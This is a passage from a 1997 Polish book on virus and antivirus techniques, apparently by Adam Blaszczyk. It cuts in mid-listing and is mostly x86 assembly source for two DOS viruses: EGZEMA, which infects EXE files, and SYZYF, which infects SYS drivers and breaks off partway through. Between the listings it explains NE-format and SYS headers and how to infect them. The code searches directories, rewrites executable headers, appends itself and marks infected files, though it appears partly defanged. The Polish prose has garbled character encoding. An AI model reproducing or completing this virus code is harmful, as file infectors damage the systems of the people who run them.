jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,26 ; ilosc czytanych bajtow

lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku

cmp ax,'mz' ; i sprawdz, czy to EXE

je JestEXE ; gdy 'MZ', to plik EXE

cmp ax,'zm' ;

jne ZamknijPlik ; gdy 'ZM', to plik EXE

JestEXE:

cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?

; (pominiete zostana takze

; niektore pliki EXE z ustawionym

; adresem tablicy relokacji > 40h)

jae ZamknijPlik ; TAK - szukaj nastepny

mov ax,word ptr [si][Naglowek+14h] ; zachowaj stare CS i IP

mov [si][StaryIP],ax ; z pliku

mov ax,word ptr [si][Naglowek+16h] ; /

mov [si][StaryCS],ax ; /

mov ax,word ptr [si][Naglowek+10h] ; zachowaj stare SS i SP

mov [si][StarySP],ax ; z pliku

mov ax,word ptr [si][Naglowek+0Eh] ; /

mov [si][StarySS],ax ; /

mov ax,word ptr [si][Naglowek+08h] ; wez dlugosc naglowka w

mov cx,16 ; - paragrafach i oblicz

mul cx ; / jego dlugosc w bajtach

mov bp,ax ; zachowaj dlugosc na pozniej

mov di,dx ; /

mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron

cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0

jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron

cmp ax,0 ; czy ilosc stron=0 ?

jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron

dec ax ; NIE zmniejsz ilsoc stron o jedna

NieZmniejszaj:

mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej

mov cx,512 ; wez dlugosc obrazu programu w stronach

mul cx ; i oblicz jego dlugosc w bajtach

add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie

adc dx,0 ; dodaj ewentualne przeniesienie

cmp ax,word ptr [si][NoweDTA.DTASize]

; czy rozmiar obrazu z naglowka

jne ZamknijPlik ; jest rowny dlugosci pliku ?

cmp dx,word ptr [si][NoweDTA.DTASize+2]

; / TAK - infekuj

jne ZamknijPlik ; / NIE - prawdopodobnie nakladka

sub ax,bp ; odejmij od dlugosci pliku

sbb dx,di ; / dlugosc naglowka

; ax,dx=dlugosc kodu programu

mov cx,16 ; oblicz nowe CS i SP

div cx ; dla programu

mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP

mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS

add dx,100h+VirusDlug ; stos bedzie za wirusem

and dl,11111110b ; SP - najczesciej jest parzysty

mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP

mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS

mov ax,word ptr [si][Naglowek+02h] ;

add ax,VirusDlug ;

cwd ;

mov cx,512 ;

div cx ;

add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu

mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE

or dx,dx ; /

jz NieDodawaj ; /

inc word ptr [si][Naglowek+04h] ; /

NieDodawaj: ; /

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,VirusDlug ; ilosc zapisywanych bajtow

mov dx,si ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,26 ; ilosc zapisywanych bajtow

lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS

ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut

mov ch,0 ; CX=CL

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h

SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; pliku EXE

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad

BezInfekcji:

push es ; es=ds=PSP

pop ds ; /

mov dx,80h ; przywroc pierwotne DTA=PSP:80h

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

pop ax ; zdejmij ze stosu wartosci

pop dx ; / SS i SP nosiciela

mov ss,dx ; i umiesc te wartosci w

mov sp,ax ; / SS i SP

db 0EAh ; powroc do nosiciela

SkokIP dw ? ; czesc skoku JMP FAR

SkokCS dw ? ; /

MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)

Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty

; z poczatku programu

; tu : kod rozkazu int 20h/NOP

; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak

mov ax,0E0Dh ; przejdz

int 10h ; do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja ?

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot

TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR

StaryCS dw 0

StaryIP dw offset Nosiciel

StarySS dw 0

StarySP dw offset Nosiciel+100h

VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>

Nosiciel:

mov ax,4C00h

int 21h

EGZEMA ENDS

END VirusStart

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)

Duýa czæúã istniejàcych obecnie plików EXE to tzw. nowe EXE. Majà one innà budowæ niý pliki przeznaczone dla systemu DOS. Na ich poczàtku znajduje siæ krótki programik dziaùajàcy w systemie DOS, tzw. STUB, majàcy za zadanie bàdê wyúwietlenie komunikatu, iý plik zawiera program nie dziaùajàcy w systemie DOS, bàdê teý próbæ uruchomienia zawartego w pliku wùaúciwego programu dla trybu chronionego pod kontrolà odpowiedniego dla niego úrodowiska, najczæúciej uýywajàcego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiàc, fakt istnienia programu STUB stwarza moýliwoúã napisania programu dziaùajàcego równoczeúnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byùby wykonywany byùoby zaleýne od systemu, pod którym byúmy aktualnie pracowali. Program dla DOS-a peùniùby tu rolæ programu STUB.

Po programie STUB znajduje siæ wùaúciwy program przeznaczony dla trybu chronionego, posiadajàcy, podobnie jak programy dla DOS, odpowiednio sformatowany nagùówek. Róýne systemy majà róýnà strukturæ tego nagùówka, tak wiæc infekcja takich programów jest o wiele trudniejsza niý w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujàcych takie pliki wynikajà takýe ze znacznych róýnic, jakie wystæpujà pomiædzy trybem chronionym, dla którego sà one przeznaczone, a trybem rzeczywistym, uýywanym przez DOS. Potencjalny twórca takiego wirusa musi uwzglædniaã przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podziaù i ochronæ zasobów, fakt stronicowania pamiæci, poùàczonego z wymiataniem nie uýywanych obszarów pamiæci na dysk (ang. swapping} oraz podziaù programu na oddzielne bloki danych, kodu i stosu posiadajàcych odpowiednie prawa dostæpu, zawarte w deskryptorach. Moýna powiedzieã, iý bez dobrej znajomoúci trybu chronionego napisanie wirusa dla nowych EXE jest niemoýliwe. Dowód na to stanowi stosunkowo maùa liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (innà waýnà przyczynà tego stanu rzeczy jest utrudniony dostæp do dokùadnych informacji o tych systemach).

Infekujàc pliki nowe EXE (za pomocà opisanej w poprzednim rozdziale metody) musimy na poczàtku sprawdziã, czy rzeczywiúcie jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencjà 'MZ' lub 'ZM' (na tym etapie nie jest waýne, dla jakiego systemu przeznaczony jest plik). Nastæpnie, jeýeli porównanie wypadùo pomyúlnie, naleýy sprawdziã, czy na pozycji 18h-19h w nagùówku starego EXE znajduje siæ wartoúã 40h lub wiæksza. Jeúli tak, to naleýy spróbowaã odczytaã ewentualny nagùówek nowego EXE, w którym znajduje siæ odpowiedni znacznik (dwa znaki ASCII) informujàcy o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniýszej tabeli.

Znaczniki rozszerzonego nagùówka nowych plików EXE

Znacznik

Docelowy system

NE

Windows lub OS/2 1.x, z podziaùem na segmenty

LE

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable)

LX

Wariant LE, uýywany przez OS/2 2.x

W3

Plik WIN386.EXE dla Windows; kolekcja plików LE

PE

Windows NT lub Win32s (Portable Executable)

DL

HP 100LX/200LX (Pliki *.EXM)

MP

Stare pliki PharLap (pliki *.EXP)

P2

PharLap 286 (pliki *.EXP)

P3

PharLap 386 (pliki *.EXP)

4.1.2.2.1. Pliki EXE dla Windows (NE)

W przypadku programów dla Windows (znacznik NE) infekcja plików polegaã moýe na odpowiedniej modyfikacji pól nagùówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którà trzeba rozszerzyã o segment identyfikujàcy miejsce w pliku, w którym znajduje siæ kod wirusa. Ze wzglædu na to, iý rozszerzenie tablicy segmentów wiàýe siæ z koniecznoúcià przesuniæcia caùego nastæpujàcego po niej kodu programu (najczæúciej bardzo dùugiego), jako jedno z rozwiàzañ proponuje siæ zmniejszenie rozmiaru programu STUB i przesuniæcie tylko poczàtkowej czæúci pliku (w tym wypadku cofniæcie czæúci nagùówka) w tak wygospodarowane miejsce.

Format nagùówka pliku nowy EXE (NE) dla Windows pokazano poniýej.

Format nagùówka plików nowy EXE (NE) dla Windows

Adres

Zawartoúã

znacznik pliku, bajty 'NE'

numer wersji programu linkujàcego (najpierw bardziej znaczàca, potem mniej znaczàca czæúã)

offset wzglædem poczàtku nagùówka do tablicy wejúã; format tablicy wejúã jest nastæpujàcy 00 liczba wejúã (00, jeýeli koniec listy)

01 numer segmentu (00, jeýeli koniec listy)

02 pierwszy rekord

05 drugi rekord

Kaýdy rekord ma format

flagi:

bit 0: EXPORTED

bit 1: SINGLE DATA

bity 2-7: nie uýywane

01-02 ofset w segmencie

dùugoúã (w bajtach) tablicy wejúã

08-0B

kod korekcyjny (CRC) pliku

0C

flagi programu; znaczenie poszczególnych bitów

0-1 DGROUP

0 = nie ma

1 = SINGLE SHARED

2 = MULTIPLE (UNSHARED)

3 = (NULL)

2 bit globalnej inicjalizacji

3 program tylko dla trybu chronionego

4 program zawiera instrukcje 8086

5 program zawiera instrukcje 80286

6 program zawiera instrukcje 80386

7 program zawiera instrukcje 80x87

0D

flagi aplikacji; znaczenie poszczególnych bitów:

0-2 typ aplikacji

001 peùnoekranowa (bez Windows AP! dla trybu chronionego)

010 kompatybilna z Windows API dla trybu chronionego

011 uýywa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2

5 0=wykonywalna, 1=bùædy w obrazie pliku

6 niezgodny typ programu (stos nie jest zachowywany)

7 plik DLL lub sterownik

(SS:SP: zùe wartoúci, CS:IP wskazuje na proceduræ incjalizacji typu FAR, wywoùywanà z AX=uchwyt do moduùu, zwracajàca AX=0 bùàd lub AX<>0 poprawna inicjalizacja)

0E-0F

indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS

wejúcie do programu (CS:IP), CS oznacza indeks w tablicy segmentów

18-1B

daleki wskaênik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeýeli SS jest typu autodata i SP=OOOOh, wskaênik stosu ustawiany jest na koñcu segmentu danych typu AUTODATA, pod stertà lokalnà

1C-1D

iloúã segmentów 1 E-1 F iloúã odwoùañ do moduùów

dùugoúã (w bajtach) nierezydentnej tablicy nazw

offset wzglædem poczàtku nagùówka do tablicy segmentów, skùadajàcej siæ z rekordów o formacie (pierwszy rekord ma numer 1):

00-01 ofset w pliku (trzeba przesunàã o wartoúã z pola 32-3

nagùówka, aby uzyskaã adres w bajtach)

02-03 dùugoúã obrazu pliku (0000h=64K)

04-05 atrybuty segmentu

0 segment danych

1 nie uýywane

2 REALMODE

3 ITERATED

4 MOVABLE

5 SHARABLE

6 PRELOADED

7 EXECUTE-CODE (kod) lub READ-ONLY (dane)

8 relokacje (bezpoúrednio po kodzie w segmencie)

9 istniejà informacje dla debuggera

10,11 bity DPL dla 80286

12 DISCARDABLE

13-15 DISCARD PRIORITY

06-07 iloúã bajtów do zaatakowania dla segmentu (0000h = 64K)

offset wzglædem poczàtku nagùówka do tablicy zasobów

offset wzglædem poczàtku nagùówka do tablicy nazw rezydentnych

offset wzglædem poczàtku nagùówka do tablicy odwoùañ do moduùów

2A-2B

offset wzglædem poczàtku nagùówka do tablicy nazw importowanych (tablica ùañcuchów typu string, zakoñczona ùañcuchem o dùugoúci 0)

2C-2F

offset wzglædem poczàtku nagùówka do tablicy nazw nierezydentnych

iloúã ruchomych punktów wejúciowych zawartych w tablicy wejúã

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)

iloúã wejúã do tablic zasobów

docelowy system operacyjny

00h nieznany

01h OS/2

02h Windows

03h Europejska wersja MS-DOS 4.x

04h Windows 386 

05h BOSS (Borland Operating System Services)

81h PharLap 286IDOS-Extender, OS/2

82h PharLap 286IDOS-Extender, Windows

dodatkowe flagi programu

0 uýywa dùugich nazw plików

1 tryb chroniony 2.X

2 proporcjonalna czcionka 2.X

3 0=gangload: nie ma, 1=gangload: jest

offset do strefy gangload

3A-3B

offset do segmentu odwoùañi do strefy gangload

3C-3D

minimalny rozmiar kodu wymienialnego

3E-3F

spodziewana wersja systemu Windows (mniej znaczàca czæúã jako pierwsza, bardziej znaczàca czæúã jako druga)

Format tablicy relokacji pliku nowy EXE (NE) dla Windows

Adres

Zawartoúã

iloúã rekordów w tablicy relokacji

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format:

00 typ rekordu

00 LOBYTE

02 BASE

03 PTR

05 OFFS

0B PTR48

0D OFFS32 01 flagi rekordu

bit 2: addytywny 02-03 offset w segmencie

04-05 docelowy adres segmentu

06-07 docelowy adres offsetu

Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows

Adres

Zawartoúã

Wartoúã przesuniæcia do dopasowania

Kolejne rekordy zasobów o formacie:

00-01 identyfikator

0000 koniec rekordów

>= 8000h typ INTEGER

w przeciwnym wypadku offset wzglædem poczàtku zasobów

do ùañcucha

02-03 iloúã zasobów danego typu

04-07 zarezerwowane

08 poczàtek zasobów

Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows

ofset (w dopasowanych jednostkach) do zawartoúci zasobów

rozmiar zasobów w bajtach

flagi zasobów

bit 4: MOVEABLE

bit5:SHAREABLE

bit 6: PRELOADED 

typ zasobów;

=8000 zasoby typu Integer

08-0B

zarezerwowane 

Format tablicy odwoùañ do moduùów w pliku nowy EXE (NE) dla Windowa

Adres

Zawartoúã

iloúã rekordów w paczce (0=koniec tablicy)

znacznik segmentu:

00 nie uýywany FF MOVEABLE lub FIXED

kolejne rekordy, kaýdy o formacie:

00 flagi

bit 0: wejúcie jest eksportowane

bit 1: wejúcie uýywa globalnych (wspóùuýywalnych) danych

bity 7-3: iloúã stów parametrów dla segmentu FIXED

01-02 ofset dla segmentu MOVEABLE

01-02 INT 3F (kod instrukcji: CDh 3Fh)

03 numer segmentu

05-06 ofset

Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla

Adres

Zawartoúã

dùugoúã ùañcucha (00=koniec tablicy)

01-N

ùañcuch ASCII

N+1-N+2

numer porzàdkowy w tablicy

Wyglàd zainfekowanego opisanà wczeúniej metodà pliku EXE przed i po infekcji przedstawiony zostaù w poniýszych tabelach.

Wyglàd niezainfekowanego pliku NE dla Windows

Zawartoúã pliku

program STUB dla DOS

Nagùówek programu STUB

Kod programu STUB

wùaúciwy program dla Windows:

Nagùówek NE

Tablica segmentów

Tablice z danymi o zasobach

Kod programu dla Windows

Wyglàd zainfekowanego pliku NE dla Windows

Zawartoúã pliku

program STUB dla DOS

Nagùówek programu STUB

Zmniejszony kod programu STUB

wùaúciwy program dla Windows zaraýony wirusem:

Nagùówek NE, cofniæty wzglædem oryginalnej pozycji

Tablica segmentów, cofniæta wzglædem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujàcy na kod wirusa (na koñcu pliku)

Tablice z danymi o zasobach

Kod programu dla Windows

Kod wirusa

4.1.3. Pliki zawierajàce sterowniki urzàdzeñ SYS (BIN, DRV)

Pliki SYS zawierajà tzw. sterowniki urzàdzeñ blokowych lub znakowych, które mogà rozszerzaã moýliwoúci systemu DOS. Sterowniki te sà ùadowane tylko raz, w momencie startu systemu, na podstawie poleceñ zawartych w pliku CONFIG.SYS (w Windows 95 takýe na podstawie MSDOS.SYS). Do ùadowania sterowników DOS wykorzystuje funkcjæ (4B00/21), a wiæc tæ samà, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstæpny programu (PSP).

Na poczàtku plików typu SYS znajduje siæ sformatowany nagùówek, zawierajàcy dane dla systemu DOS, który poprzez zawarte w nim informacje moýe komunikowaã siæ ze sterownikiem. Format pliku SYS i jego nagùówka przedstawiono w poniýszych tabelach.

Zawartoúã pliku SYS

Zawartoúã

Nagùówek pliku SYS (patrz nastæpna tabela)

Kod sterownika

Format nagùówka pliku SYS

Wskaênik do nastæpnego programu obsùugi urzàdzenia, standardowo == 0FFFFFFFFh, co jest sygnaùem dla systemu, iý plik zawiera tylko 1 sterownik. Gdyby plik zawieraù wiæcej sterowników, w polu tym byùby zawarty adres kolejnego sterownika w pliku.

Atrybuty urzàdzenia, informujà o przeznaczeniu sterownika

Adres procedury strategii (wzglædem poczàtku nagùówka). Procedura strategii sùuýy do odebrania pakietu zlecenia od systemu DOS.

Adres procedury przerwania (wzglædem poczàtku nagùówka), która na podstawie pakietu zlecenia, przyjætego przez proceduræ strategii, wykonuje odpowiednie czynnoúci,

0A-0F

Nazwa urzàdzenia znakowego (8 znaków) lub liczba jednostek dla urzàdzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).

Aby zainfekowaã plik SYS, wystarczy zmieniã adres którejú z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywaù on na kod wirusa, który zostaje dopisywany na koñcu pliku. Po wczytaniu przez DOS zaraýonego w ten sposób pliku zawsze zostaje wywoùana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalowaã siæ w systemie, a nastæpnie oddaã sterowanie oryginalnemu programowi obsùugi.

Alternatywnym (i chyba prostszym) sposobem zaraýenia plików SYS jest wykorzystanie faktu, iý plik taki moýe zawieraã wiæcej niý jeden sterownik. Aby zainfekowaã plik SYS, wystarczy wiæc na poczàtku pliku zmieniã pole 00-03 tak, aby wskazywaùo ono na koniec pliku, gdzie naleýy dodaã kod wirusa, którego wyglàd bædzie podobny do zwykùego sterownika (bædzie posiadaù nagùówek oraz procedury strategii i przerwañ). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umoýliwi dziaùanie wirusowi. Jak widaã, sposób infekcji tych plików jest bardzo prosty, stàd dziwi trochæ fakt, iý stosunkowo maùa liczba wirusów potrafi je zaraýaã.

Wyglàd pliku SYS po zaraýeniu pokazano w poniýszych tabelach.

Zainfekowany plik SYS (ze zmianà adresów procedur w nagùówku)

Zawartoúã pliku

Nagùówek sterownika ze zmienionymi adresami procedur strategii lub przerwania

Kod sterownika

Kod wirusa

Zainfekowany plik SYS (drugi faùszywy sterownik)

Zawartoúã pliku

Nagùówek sterownika ze zmianà adresu wskazujàcego na poùoýenie drugiego sterownika w pliku

Kod sterownika

Nagùówek faùszywego sterownika (wirusa)

Kod wirusa

Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;

;

Prosty wirus nierezydentny plikow SYS ;

Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

znajdujace sie w biezacym katalogu ;

;

; Kompilacja :  ;

TASM SYZYF.ASM ;

TLINK SYZYF.OBJ ;

MAKESYS SYZYF.EXE ;

;

SYZYF SEGMENT

JUMPS

ASSUME CS:SYZYF, DS:SYZYF

ORG 0000h ; SYS nie potrzebuje PSP

NUL = 00h ;

LF = 0Ah ; - stale znakow

CR = 0Dh ; / ASCII

AtrReadOnly = 00000001b ;

AtrHidden = 00000010b ;

AtrSystem = 00000100b ; rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu

VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa

VRok = 1998 ; data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends

NAGL struc

NAGLAdres dd ? ; Adres nastepnego sterownika

NAGLAtrybut dw ? ; atrybuty sterownika

NAGLStrategia dw ? ; adres obslugi strategii

NAGLPrzerwanie dw ? ; adres obslugi przerwania

NAGLNazwa db 8 dup(?) ; nazwa sterownika

NAGL ends

Start:

SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>

; tu jest naglowek

VirusStart: ; tu zaczyna sie kod wirusa

ProceduraPrzerwania:

push ax ;

push bx ;

push cx ; zachowaj

push dx ; zmieniane

push si ; / rejestry

push di ; /

push ds ; /

push es ; /

Call Trik

Trik:

pop si

sub si,offset Trik

push cs ; DS=CS

pop ds ; /

mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela

mov [si][SkokIP],ax

mov [si][SkokCS],cs

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; gdy CF=1, nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

mov ah,2Fh ; funkcja DOS - pobierz adres DTA

int 21h ; wywolaj funkcje DOS

mov word ptr [si][DTASegOfs+2],bx ; zachowaj akualny adres DTA,

mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc NieMaPlikuSYS ; gdy CF=1, to blad

KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepny

mov ax,word ptr [si][NoweDTA.DTASize+2]

; pobierz starsza czesc dlugosci

; pliku

or ax,ax ; czy plik krotszy niz 65536 ?

jnz SzukajNastepnyPlik ; nie - szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku

cmp ax,64000 ; czy dlugosc <= 64000 ?

ja SzukajNastepnyPlik ; nie - szukaj nastepnego

mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,size NAGL ; ilosc czytanych bajtow

lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][CzytNagl.NaglAdres]

; wez 4 bajty z pliku do AX i DX

mov dx,word ptr [si][CzytNagl.NaglAdres+2]

cmp ax,0FFFFh ; czy AX=0FFFFh ?

jne ZamknijPlik ; NIE - szukaj innego plik

cmp ax,dx ; czy AX=DX=0FFFFh ?

jne ZamknijPlik ; NIE - szukaj inny plik

; TAK - na poczatku pliku jest

; 0FFFFFFFFh

mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]

mov [si][StarePrzerwanie],ax ; wez adres przerwania

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov [si][CzytNAGL.NaglPrzerwanie],ax

mov cx,VirusDlug ; ilosc zapisywanych bajtow

lea dx,[si][VirusStart] ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; CX:DX zawieraja

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1 to blad

mov cx,size NAGL ; ilosc zapisywanych bajtow

lea dx,[si][CzytNAGL] ; podaj skad zapisac

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS

ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut

mov ch,0 ; CX=CL

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; pliku SYS

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad

NieMaPlikuSYS:

lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

BezInfekcji:

pop es ;

pop ds ;

pop di ; przywroc

pop si ; zmieniane

pop dx ; / rejestry

pop cx ; /

pop bx ; /

pop ax ; /

db 0EAh ; powrot do nosiciela

SkokIP dw ?

SkokCS dw ?

MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)

; Czesc Informayjna ; wyswietla pytanie do uzytkownika

Informacja: ; czy chce uruchomic wirusa

push ax si

cld

mov si,dx

NastepnyZnak:

lods byte ptr cs:[si] ; kolejny znak komunikatu

or al,al ; czy koniec tekstu ?

jz InformacjaTxtOK ; TAK - koniec pisania

mov ah,0Eh ; pisz znak z AL

int 10h ;

